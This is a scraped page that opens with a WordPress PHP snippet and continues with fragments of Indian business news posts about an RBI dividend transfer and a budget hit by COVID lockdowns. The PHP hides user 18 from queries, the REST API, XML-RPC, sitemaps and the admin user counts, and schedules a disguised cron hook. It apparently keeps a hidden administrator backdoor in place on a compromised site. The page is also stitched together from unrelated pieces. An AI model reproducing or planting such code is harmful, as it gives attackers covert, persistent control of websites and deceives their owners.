add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Government will receive Rs 99,122 crore as dividend by the Reserve Bank of India appeared first on The Edge Media.
]]>It sis much than anyone’s expectations or the government’s budget. Finance Minister, Nirmala Sitharaman had marked a transfer of Rs 53,511 crore. The transfer of the amount is extremely surprising, but it will also provide a huge breathing space for the government.
The Chief Economist of ICRA, Aditi Nayar said,”The surplus to be transferred by the RBI to the Government of India is considerably higher than the budgeted level. This will offer a buffer to absorb the anticipated losses in indirect tax revenues during May-June, owing to the impact of state lockdowns on consumption on discretionary items and contact-intensive services”.
The RBI took the decision on the basis of the Jalan Committee formula. The committee recommended that the RBI must maintain a contingency risk buffer of 5.5 per cent of its balance sheet, at all times.
Earlier, the RBI transferred Rs 57,128 crore to the government for the accounting year 2019-20.
The post Government will receive Rs 99,122 crore as dividend by the Reserve Bank of India appeared first on The Edge Media.
]]>The post Once-In-A-Century Budget of the Government runs into trouble as the virus reverts back appeared first on The Edge Media.
]]>The budget had aimed to revive Asia’s third-largest economy by investing in infrastructure and health care. It was relying on the strategy of privatisation and robust tax collections- on the back of projected growth of 10.5 per cent to fund it spending in the economic year.
Finance Minister said that India would not see such a budget in the upcoming 100 years. The massive vaccination drive and a rebound in consumer demands and investment has put the economy on track to recover from its deepest recorded letdown at the current time.
The South Asian country in battling with World’s second highest coronavirus case load after the United States. Many parts of the country has been facing various degrees of lockdown sinking most of the groth projections that the budget was built around, to uncertainty. The extent of the crisis is making the investors question whether India still deserves to cling on to its “investment grade” status.
The post Once-In-A-Century Budget of the Government runs into trouble as the virus reverts back appeared first on The Edge Media.
]]>